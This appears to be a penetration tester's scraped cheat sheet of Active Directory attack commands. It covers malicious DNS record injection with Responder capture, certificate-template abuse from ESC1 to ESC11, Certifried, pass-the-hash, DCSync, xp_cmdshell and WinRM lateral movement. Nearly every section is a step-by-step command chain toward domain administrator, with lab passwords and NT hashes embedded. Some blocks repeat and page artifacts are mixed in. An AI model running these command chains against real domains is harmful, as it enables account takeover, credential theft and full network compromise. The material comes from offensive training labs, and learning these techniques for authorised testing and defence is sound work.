create child means  can add dnsNode objects under them, i.e. write new DNS records into the zones the DC itself answers from. This is the AD-integrated DNS analogue of being a DnsAdmins member for those zones, without needing the group membership
- add dns for the server and when the server reload , it asks from my local machine 10.10.14.61 
# bloodyAD --host S200401.overwatch.htb -u sqlsvc -p TI0LKcfHzZw1Vv add dnsRecord SQL07 10.10.14.61
- make sure it worked successfully 
#  nslookup SQL07.overwatch.htb working_subdomain.overwatch.htb
- run responder to capture the requests 
# sudo uv run /opt/Responder/Responder.py -I tun0
WriteAccountRestrictions
$ bloodyAD --host 172.16.x.200 -d DC20.oscp.exam -u l.evgeny -p 'SenseCleanOrbit672' add genericAll "SRV22 ADMINISTRATORS" l.evgeny

$ bloodyAD --host 172.16.x.200 -d DC20.oscp.exam -u l.evgeny -p 'SenseCleanOrbit672' add groupMember "SRV22 ADMINISTRATORS" l.evgeny
04

AD CS Abuse

Certificate-service escalation paths - ESC1 through ESC11 and Certifried.

1
06ADCS13 cmds
Abusing Certificate Templates: This category encompasses ESC1, ESC2, ESC3, ESC9, and ESC10, focusing on misconfiguration within certificate templates.
Abusing CA Configuration (ESC6): Exploiting weaknesses within the Certificate Authority configuration falls under this category.
Abusing Access Control (ESC4, ESC5, ESC7): Understanding misconfiguration associated with Access Control is vital, and these misconfiguration highlight potential weaknesses within ADCS.
NTLM Relay (ESC8, ESC11): Exploiting NTLM relay misconfiguration is crucial, and these misconfiguration (ESC8 and ESC11) delve into this aspect within ADCS.
Miscellaneous ADCS Attacks: This category covers other significant vulnerabilities, including Certifried and PKINIT not Supported, providing a broad overview of diverse attack vectors within ADCS.

1- if found protected file.pfx => # pfx2john file.pfx > hash.txt  then john --wordlist=rockyou.txt hash.txt
2- openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
3- openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
4- evil-winrm -i 10.129.227.113 -c cert.pem -k key.pem -S
 

1- search for group Cert Publishers 
net localgroup "Cert Publishers"
2- explore Public Key Services container 
# certipy find -u 'user@domain' -p 'password' -dc-ip <DC_IP_Address> -stdout -vulnerable
#  netexec ldap 10.129.205.199 -u "blwasp" -p "Password123!" -M adcs


C:\> net localgroup "Cert Publishers"
C:\> .\Certify.exe find
# .\Certify.exe  request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC1 /altname:administrator@lab.local
- copy content and put it into cert.pem then use openssl :
#  & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap  /password:test
or : 
certipy auth -pfx cert.pfx -domain lab.local
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass LAB-DC.lab.local

or wmiexec.py -no-pass -hashes :2b576acbe6bcfda7294d6bd18041b8fe administrator@LAB-DC.lab.local "more C:\Users\Administrator\Desktop\flag.txt"


Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\Administrator"'


 xp_cmdshell certutil
output   
Abusing Certificate Templates: This category encompasses ESC1, ESC2, ESC3, ESC9, and ESC10, focusing on misconfiguration within certificate templates.
Abusing CA Configuration (ESC6): Exploiting weaknesses within the Certificate Authority configuration falls under this category.
Abusing Access Control (ESC4, ESC5, ESC7): Understanding misconfiguration associated with Access Control is vital, and these misconfiguration highlight potential weaknesses within ADCS.
NTLM Relay (ESC8, ESC11): Exploiting NTLM relay misconfiguration is crucial, and these misconfiguration (ESC8 and ESC11) delve into this aspect within ADCS.
Miscellaneous ADCS Attacks: This category covers other significant vulnerabilities, including Certifried and PKINIT not Supported, providing a broad overview of diverse attack vectors within ADCS.

1- if found protected file.pfx => # pfx2john file.pfx > hash.txt  then john --wordlist=rockyou.txt hash.txt
2- openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
3- openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
4- evil-winrm -i 10.129.227.113 -c cert.pem -k key.pem -S
 

1- search for group Cert Publishers 
net localgroup "Cert Publishers"
2- explore Public Key Services container 
# certipy find -u 'user@domain' -p 'password' -dc-ip <DC_IP_Address> -stdout -vulnerable
#  netexec ldap 10.129.205.199 -u "blwasp" -p "Password123!" -M adcs



C:\ .\Certify.exe find
 .\Certify.exe find /vulnerable /currentuser
# .\Certify.exe  request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC1 /altname:administrator
- copy content and put it into cert.pem then use openssl :
#  & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap  /password:test
or : 
certipy auth -pfx cert.pfx -domain lab.local
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass LAB-DC.lab.local

or wmiexec.py -no-pass -hashes :2b576acbe6bcfda7294d6bd18041b8fe administrator@LAB-DC.lab.local "more C:\Users\Administrator\Desktop\flag.txt"

evil-winrm -i 10.129.228.253 -u administrator -p A52F78E4C751E5F5E17E1E9F3E58F4EE

Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\Administrator"'


 xp_cmdshell certutil
output   
Bloodhound with ADCS
pip3 install certipy-ad==4.8.2
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -bloodhound
unzip 20231128193735_Certipy.zip


use that version of bloodhound : https://github.com/ly4k/BloodHound/
wget -q https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
sudo /usr/bin/neo4j console
cd BloodHound-linux-x64/
./BloodHound --no-sandbox

click on any user => Set OWned => Analysis 
ESC1
1- // find vulnerable :
root# certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout

2- // replace SAN 
root# certipy req -u 'BlWasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -ca lab-LAB-DC-CA -template ESC1 -upn Administrator

3- // authenticate 
root# certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.205.199
root# KRB5CCNAME=administrator.ccache 
4- /// put LAB-DC.LAB.LOCAL in /etc/hosts 
root# wmiexec.py -k -no-pass LAB-DC.LAB.LOCAL
---------------------------------------------------- Windows ----------------------------------------
1- ///can use certify.exe as : 
.\Certify.exe find /vulnerable 
// or use PowerShell 
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'


2- /// request certificate as administrator 
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC1 /altname:administrator@lab.local
3- /// Convert cert.pem to pfx
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
4- /// asktgt with pfx 
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
ESC2
1- /// enumerate 
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout

2- /// request 
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC2 -upn Administrator

3- /// put Cert Auth Server in /etc/hosts 

4- /// authentication 
certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.205.199

5- /// enter device 
KRB5CCNAME=administrator.ccache smbexec.py -k -no-pass LAB-DC.LAB.LOCAL
-----------------------------------------------------------------------------------------------

1- ///enumerate 
C:\> .\Certify.exe find /vulnerable

/// or 
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=lab,DC=local'

2- /// request 
C:\> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC2 /altname:administrator@lab.local

3- Convert Pem to PFX 
C:\> & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 
 4- /// enter device  
 C:\> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
 
5- /// use Invoke Hash to Pass the hash inside windows : 
https://github.com/Kevin-Robertson/Invoke-TheHash
Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
cd .\Invoke-TheHash\;Import-Module .\Invoke-TheHash.psm1

C:\> Invoke-TheHash -Type SMBExec -Target localhost -Username Administrator -Hash 2b576acbe6bcfda7294d6bd18041b8fe -Command "net localgroup Administrators grace /add"
ESC3
Template A (ESC3): (Use this as enrollment proxy (Signing key))
EKU = Certificate Request Agent 

Template B: 
Application Policy: Certificate Request Agent


1- /// enumerate 
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout

2- /// Certificate Request for Blwasp
certipy req -u 'blwasp@lab.local' -p 'Password123!' -ca 'lab-LAB-DC-CA' -template 'ESC3'

3- /// Requesting a certificate on behalf of the Administrator account
certipy req -u 'blwasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template 'User' -on-behalf-of 'lab\administrator' -pfx blwasp.pfx
 
4- /// Authenticate last 
certipy auth -pfx administrator.pfx -domain lab.local
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass LAB-DC.lab.local

or can use hash directly : 
wmiexec.py -no-pass -hashes :2b576acbe6bcfda7294d6bd18041b8fe administrator@LAB-DC.lab.local "more C:\Users\haris\Desktop\flag.txt"

----------------------------------------------------------------------------
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC3
 & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:User /onbehalfof:LAB\Administrator /enrollcert:cert.pfx 
 & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
  .\Rubeus.exe asktgt /user:lab\Administrator /certificate:admin.pfx /getcredentials
  
ESC4
// (Has Full Controll over it and can edit it)
1- // Attacking ESC4 vulnerable template
 certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -save-configuration -dc-ip 10.10.11.51

2- // Abusing the modified template
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC4 -upn Administrator -target 10.129.228.253

sudo ntpdate 10.129.228.253

3- // Retrieve Administrator NT Hash
certipy auth -pfx administrator.pfx -username Administrator -domain lab.local
// or
certipy auth -pfx administrator.pfx -dc-ip 10.129.228.253

4- // Restore template configuration
certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -configuration ESC4.json

-------------------------------------------------Windows---------------------------------------------------
1- // Certify templates enumeration
.\Certify.exe find

2- // Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=lab,DC=local" -Verbose

3- // disable the manager approval requirement. According to Microsoft -
//  msPKI-Enrollment-Flag Attribute, the PEND_ALL_REQUESTS flag bit is 0x00000002, 
// remove this flag, we will use instead 0x00000001 that correspond to CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS and 0x00000008 
// which is CT_FLAG_PUBLISH_TO_DS. To set both, we need to use 0x00000009 or 9:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-enrollment-flag'=9} -Verbose

4- //  disable Authorized Signature Requirement. set mspki-ra-signature attribute to 0:
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

5- // Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-name-flag'=1} -Verbose

6- // Setting PKI Extended Key Usage
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose

7- // Setting mspki-certificate-application-policy
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=lab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

8- // Finding vulnerable templates
.\Certify.exe find /vulnerable

9- // Certificate Request with alternative SAN
.\Certify.exe request /ca:LAB-DC\lab-LAB-DC-CA /template:ESC4 /altname:Administrator

10- // Convert Pem to Pfx
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in admin-esc4.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin-esc4.pfx

11- // Certificate Authentication 
.\Rubeus.exe asktgt /user:administrator /certificate:admin-esc4.pfx /getcredentials
ESC5
1- // Request a certificate as the Domain Administrator
 certipy req -u cken -p Superman001 -dc-ip 172.16.19.3 -target-ip 172.16.19.5 -ca lab-WS01-CA -template SubCA -upn Administrator

2- // Issue the requested certificate
proxychains -q certipy ca -u cken -p Superman001 -dc-ip 172.16.19.3 -target-ip 172.16.19.5 -ca lab-WS01-CA -issue-request 11

3- // Retrieve the issue certificate
certipy auth -pfx administrator.pfx -domain lab.local -dc-ip 172.16.19.3

sudo sh -c 'echo "172.16.19.3 lab-dc.lab.local" >> /etc/hosts'

4- // Authenticate with the Administrator Certificate
certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp

5- // access 
KRB5CCNAME=administrator.ccache proxychains -q wmiexec.py -k -no-pass lab-dc.lab.local -dc-ip 172.16.19.3


--------------------------------------------Windows---------------------------------------------------
 .\Certify.exe find /vulnerable
 .\Certify.exe  request /ca:WS01.lab.local\lab-WS01-CA /template:SubCA /altname:Administrator
 
- open certsrv.msc -> Failed Requests -> Right Click on Request id from above command -> All Tasks -> Issue 

// Download Pending Request
.\Certify.exe download /ca:WS01.lab.local\lab-WS01-CA /id:10

// Convert pem to pfx
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in approved.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out approved.pfx

// Request the TGT and the NT Hash
.\Rubeus.exe asktgt /user:administrator /certificate:approved.pfx /getcredentials
ESC6
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template User -upn Administrator@lab.local

// can utilize Certify.exe to examine the status of the UserSpecifiedSAN flag, which corresponds to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
 .\Certify.exe cas
 
// Request
 .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:User /altname:Administrator
 
 & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in .\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
 certipy auth -pfx jeffry.pfx
 // or
 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx
ESC7
/// Appear when you have ManageCA - ManageCertificate permissions 
1- certipy find -u user2@lab.local -hashes :ee22ddf0f8a66db4217050e6a948f9d6 -stdout -vulnerable

2- // check the template is enabled or not 
certipy find -u 'blwasp@lab.local' -p 'Password123!' -stdout 

3- // if certificate template is not enabled then we need to enable it 
certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -enable-template 'SubCA'

4- // Enumerate Certificate Authority configuration on ADCS
certipy find -u 'blwasp@lab.local' -p 'Password123!' -vulnerable -stdout

5- // Add Manage Certificates Access rights to BlWasp
 certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -add-officer BlWasp

6- // Requesting a certificate with SAN
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template SubCA -upn Administrator

7- // Issue the certificate
certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 31

8- // Retrieve the certificate with the ID
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 31

9- // Enumerate all certificates
certipy find -u 'blwasp@lab.local' -p 'Password123!' -stdout    

10- // Request a certificate with the manager's approval
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC7_1 -upn Administrator

11- // Approve pending request
certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 59    

12- // Retrieve approved request
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 59          

----------------------------------------------------------Windows--------------------------------------------
https://github.com/PKISolutions/PSPKI

1-// Install and Import PSPKI module
cd C:\Tools\PSPKI\PSPKI; Import-Module .\PSPKI.psd1

2- // Enumerate CA with PowerShell
Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

3- // Query CA with certutil
certutil.exe -config "LAB-DC.lab.local\lab-LAB-DC-CA" -getreg "policy\EditFlags"

4- // Query EDITF_ATTRIBUTESUBJECTALTNAME2 with PowerShell
$ConfigReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "LAB-DC"
$ConfigReader.SetRootNode($true)
$ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")


5- // Disable EDITF_ATTRIBUTESUBJECTALTNAME2 with PowerShell
PS C:\Tools> $ConfigReader.SetConfigEntry(1114446,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
PS C:\Tools> $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

6- // Query the CA with certutil
certutil.exe -config "LAB-DC.lab.local\lab-LAB-DC-CA" -getreg "policy\EditFlags"

7- // Enable EDITF_ATTRIBUTESUBJECTALTNAME2 with PowerShell
PS C:\Tools> $ConfigReader.SetConfigEntry(1376590,"EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
PS C:\Tools> $ConfigReader.GetConfigEntry("EditFlags","PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

8- // Adding ManageCertificates rights
Get-CertificationAuthority LAB-DC.LAB.LOCAL | Get-CertificationAuthorityAcl  | Add-CertificationAuthorityAcl -Identity "blwasp" -AccessType Allow -AccessMask "ManageCertificates" |  Set-CertificationAuthorityAcl -RestartCA


9- // Enumerate CA rights with PowerShell
Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

10- // Request a certificate with a template that requires approval
.\Certify.exe request /ca:LAB-DC\lab-LAB-DC-CA /template:ESC7_1 /altname:Administrator

11- // Enumerate Pending Requests
Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-PendingRequest

12- // Approve pending request with PowerShell
Get-CertificationAuthority -ComputerName LAB-DC.lab.local | Get-PendingRequest -RequestID 100 | Approve-CertificateRequest

13- // Download Pending Request
.\Certify.exe download /ca:LAB-DC\lab-LAB-DC-CA /id:100

14- // Convert
 & "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in approved.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out approved.pfx
 
 15- Request the TGT and the NT Hash
 .\Rubeus.exe asktgt /user:administrator /certificate:approved.pfx /getcredentials
 

 
ESC8
ESC9
/// presistance ESC9 - Found GenericAll - GenericWrite - over account 
1- /// enumerate 
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout 

2- /// check you have proper authentication over user1 (controlled)
 dacledit.py -action read -dc-ip 10.129.205.199 lab.local/blwasp:Password123! -principal blwasp -target user1
 
 3- /// Retrieve user1 NT Hash via Shadow Credentials
 certipy shadow auto -u 'BlWasp@lab.local' -p 'Password123!' -account user1

4- /// Change user1 UPN to user2
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user1 -upn user2@lab.local

5- /// Request vulnerable certipy with user1
certipy req -u 'user1@lab.local' -hashes 2b576acbe6bcfda7294d6bd18041b8fe -ca lab-LAB-DC-CA -template ESC9 

6- /// Revert changes of user1
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user1 -upn user1@lab.local

7- /// Authenticate as user1 with the previous certificate
certipy auth -pfx user2.pfx -domain lab.local


////smbclient //lab.local/user3 -U lab.local/user3 --pw-nt-hash 01b60104db80993eb9ead5d8f9127eec -N -c "get flag.txt"
---------------------------------------------------Windows------------------------------------------
.\Certify.exe find
 /// 
 reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
 reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel\
 
 Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
 Import-Module .\PowerView.ps1
 $blwasp=(Get-DomainUser -Identity blwasp)
 
 // Query BlWasp privileges over User1
Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -contains "GenericAll" -or $_.ActiveDirectoryRights -contains "GenericWrite") -and $_.SecurityIdentifier -eq $blwasp.objectsid}

/// user1 Password Reset
Set-DomainUserPassword -Identity user1 -AccountPassword $((ConvertTo-SecureString 'Newpassword123!' -AsPlainText -Force)) -Verbose

///Change user1 UPN to match user2 UPN
Set-DomainObject user1 -Set @{'userPrincipalName'='user2@lab.local'} -Verbose

///If the user (user2) has rights to connect via RDP, we can use them to gain a session as user2 and execute Certify from there.
If the user (user1) has logon rights, we can try to execute Run as different user from the GUI, or we can use RunasCS.exe, which is a utility to run specific processes with different permissions than the user's current logon provides using explicit credentials.
Alternatively, a user posted a workaround modifying the source code of Certify in this GitHub issue (not tested).

///Request a Certificate using ESC9 and alternative SAN user2
.\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC9 /altname:user2

///convert 
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in .\user3.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out user3.pfx

/// Retrieving a TGT as user3
.\Rubeus.exe asktgt /user:user3 /certificate:user3.pfx /getcredentials /nowrap
ESC10
1- The StrongCertificateBindingEnforcement registry key is set to 0, indicating that no strong mapping is performed.
2- At least one template specifies that client authentication is enabled (e.g., the built-in User template).
3- We have at least GenericWrite rights for account A, allowing us to compromise account B.

// Reviewing registry keys as Administrator 
reg.py 'lab'/'Administrator':'Password123!'@10.129.205.199 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'

// Retrieve user2 NT Hash via Shadow Credentials
certipy shadow auto -u 'BlWasp@lab.local' -p 'Password123!' -account user2

// Change user2 UPN to Administrator
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn administrator@lab.local

// Request certificate using User template
certipy req -u 'user2@lab.local' -hashes 2b576acbe6bcfda7294d6bd18041b8fe -ca lab-LAB-DC-CA -template User

// Request certificate using User template

certipy req -u 'user2@lab.local' -hashes 2b576acbe6bcfda7294d6bd18041b8fe -ca lab-LAB-DC-CA -template User

// Revert changes of user2
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user2@lab.local

// Authenticate as the Administrator
certipy auth -pfx administrator.pfx -domain lab.local

---------------------------------------------------------------
OR :
The CertificateMappingMethods registry key is set to 0x4, indicating no strong mapping.
At least one template is enabled for client authentication (e.g., the built-in User template).
We have at least GenericWrite rights for any account A, allowing us to compromise any account B that does not already have a UPN set (e.g., machine accounts or built-in Administrator accounts). This is important to avoid constraint violation errors on the UPN.

// Using reg.py to query registry from Linux
reg.py 'lab'/'Administrator':'Password123!'@10.129.205.199 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

// Update account to match DC machine name
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn 'lab-dc$@lab.local'

// Request a certificate as user2 to get the domain controller certificate
certipy req -u 'user2@lab.local' -hashes 2b576acbe6bcfda7294d6bd18041b8fe -ca lab-LAB-DC-CA -template User

// Revert changes of user2
certipy account update -u 'BlWasp@lab.local' -p 'Password123!' -user user2 -upn user2@lab.local

// Creating a new computer account
certipy auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.205.199 -ldap-shell

// Using -ldap-shell
certipy auth -pfx lab-dc.pfx -domain lab.local -dc-ip 10.129.205.199 -ldap-shell

// Abusing RBCD to Impersonate the Administrator
getST.py -spn cifs/LAB-DC.LAB.LOCAL -impersonate Administrator -dc-ip 10.129.205.199 lab.local/'plaintext$':plaintext123

// Connect using the Administrator TGT
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass LAB-DC.LAB.LOCAL
ESC11
Certifried (CVE-2022-26923)
To bypass this check and discover the vulnerability, Olivier Lyak performed the following steps:

1- // Clear the SPNs, particularly those corresponding to the dNSHostName value, i.e., the ones with fully-qualified hostnames (e.g., HOST/SRV01.DOMAIN.LOCAL).
2- // Change the dNSHostName to the DNS hostname of the target (e.g., DC.DOMAIN.LOCAL). The constraint violation will not be raised since there are no SPNs to update.
3- // Request a certificate for the spoofed computer account using the Machine template. The Certificate Authority will use the dNSHostName value for identification and issue a certificate for the spoofed machine account.


1- // Test if ADCS CA is patched
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -dc-ip 10.129.228.237 -template User

2- // Create a computer with addcomputer
addcomputer.py -computer-name 'CERTIFRIED$' -computer-pass 'Password123!' -dc-ip 10.129.228.134 'LAB.LOCAL/Blwasp':'Password123!'


3- //
 git clone -q https://github.com/aniqfakhrul/powerview.py
cd powerview.py
 sudo python3 setup.py install
certipy find -u 'BlWasp@lab.local' -p 'Password123!' -stdout -vulnerable
python3 powerview.py lab.local/BlWasp:'Password123!'@10.129.228.134
certipy req -u 'CERTIFRIED$' -p 'Password123!' -dc-ip 10.129.228.134 -ca lab-LAB-DC-CA -template 'Machine'
certipy auth -pfx dc02.pfx




certipy account create -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.134 -user NEWMACHINE -dns DC02.LAB.LOCAL
certipy req -u 'NEWMACHINE$' -p 'ikFRmm6VMXcjmD5T' -ca lab-LAB-DC-CA -template 'Machine' -dc-ip 10.129.228.134
certipy auth -pfx dc02.pfx
05

Privilege Escalation

Local and domain privilege escalation, Jenkins, GPO and WSUS abuse.

5
07Local Admin Access Privileges1 cmd
If We can't get Local Admin access then we can't run Psexec but 
can run RDP (canRDP) right
can run WinRM (canPffSRemote)    Enter-PSSession  
can run MSSQL (SQLAdmin) mssqlclient.py PowerUpSQL 
-------------------------------
1- check rdp group users :
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
( xfreerdp - remmina )  or mstsc.exe (from windows)

--------------------------------
2- check for WinRM :
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
- can use cypher query in bloodhound :
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

- Establishing WinRM Session from Windows
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred

- Using Winrm from linux 
# gem install evil-winrm
# evil-winrm -i 10.129.201.234 -u forend
-------------------------------------
3- Search for SQLAdmin with Cyher query
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

> cd .\PowerUpSQL\
> Import-Module .\PowerUpSQL.ps1
> Get-SQLInstanceDomain
> Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
Invoke-SQLOSCmd -Instance "172.16.5.150,1433" -Username "inlanefreight\damundsen" -Password "SQL1234!" -Command "whoami"
- authenticate from linux : 
# impacket-mssqlclient INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
OR
# impacket-mssqlclient PublicUser:'GuestUserCantWrite1'@10.129.228.253

 > enable_xp_cmdshell
 > xp_cmdshell whoami /priv
 
 or try to make call via db user : 
 # responder -I tun0 -v 
 
